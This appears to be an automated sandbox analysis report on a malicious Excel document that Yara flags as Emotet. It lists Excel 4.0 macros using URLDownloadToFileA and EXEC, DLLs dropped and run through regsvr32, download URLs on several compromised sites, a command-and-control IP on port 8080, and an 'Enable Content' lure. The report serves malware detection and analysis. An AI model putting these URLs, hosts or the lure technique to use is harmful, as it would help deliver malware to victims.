Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229

Source: regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000003.988822373.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219171060.0000000000368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219212394.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 0000000B.00000002.1219557119.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabmeroZe
Source: regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enP
Source: regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enR
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/
Source: regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/5v
Source: regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/=v
Source: regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/KP
Source: regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/l
Source: regsvr32.exe, 00000004.00000003.988822373.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/
Source: regsvr32.exe, 00000004.00000003.988822373.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/.t
Source: regsvr32.exe, 0000000B.00000002.1219557119.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/1o
Source: regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/L
Source: regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/h
Source: regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: learnviaonline.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180017C8C InternetReadFile,

4_2_0000000180017C8C

Source: global traffic	HTTP traffic detected: GET /wp-admin/qGb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: learnviaonline.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/REvup/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kolejleri.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stainedglassexpress.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/D4TRnDubF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: milanstaffing.comConnection: Keep-Alive

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 10.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.300000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1219777301.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1218923490.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.935437838.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.950850615.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.935123835.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.944087304.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1219645231.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1218912030.0000000000150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1218942103.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.951348566.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926422500.0000000000300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943168453.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1218930467.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1219706572.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: DETAILS 25922194612.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: DETAILS 25922194612.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: DETAILS 25922194612.xls	Initial sample: EXEC
Source: DETAILS 25922194612.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\KuSAkvGE\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_002B0000	3_2_002B0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026410	3_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025C30	3_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001D58	3_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011E5C	3_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002C6C8	3_2_000000018002C6C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002C2C8	3_2_000000018002C2C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026F14	3_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016320	3_2_0000000180016320
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001378	3_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018FE8	3_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ABE8	3_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800243F4	3_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800083F8	3_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800247FC	3_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DBFC	3_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001100C	3_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180027C28	3_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002143C	3_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001303C	3_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A840	3_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003840	3_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B444	3_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F048	3_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AC4C	3_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010050	3_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003050	3_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000445C	3_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C85C	3_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003460	3_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029C6C	3_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001586C	3_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000406C	3_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E06C	3_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC70	3_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001447C	3_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026C80	3_2_0000000180026C80
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010C84	3_2_0000000180010C84
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016088	3_2_0000000180016088
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002888	3_2_0000000180002888
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017C8C	3_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FC8C	3_2_000000018000FC8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002D098	3_2_000000018002D098
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800154B8	3_2_00000001800154B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011CCC	3_2_0000000180011CCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800064D0	3_2_00000001800064D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800180D4	3_2_00000001800180D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800054D8	3_2_00000001800054D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002CCE0	3_2_000000018002CCE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800254E4	3_2_00000001800254E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800184E8	3_2_00000001800184E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800010E8	3_2_00000001800010E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E8F0	3_2_000000018000E8F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A0F8	3_2_000000018002A0F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019900	3_2_0000000180019900
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011904	3_2_0000000180011904
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F908	3_2_000000018001F908
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002490C	3_2_000000018002490C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001890C	3_2_000000018001890C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D510	3_2_000000018001D510
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003D18	3_2_0000000180003D18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002191C	3_2_000000018002191C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D128	3_2_000000018001D128
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D12C	3_2_000000018000D12C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014930	3_2_0000000180014930
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008534	3_2_0000000180008534
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CD44	3_2_000000018001CD44
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B948	3_2_000000018000B948
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000796C	3_2_000000018000796C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010590	3_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D94	3_2_0000000180028D94
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800091A8	3_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800171B8	3_2_00000001800171B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018DBC	3_2_0000000180018DBC
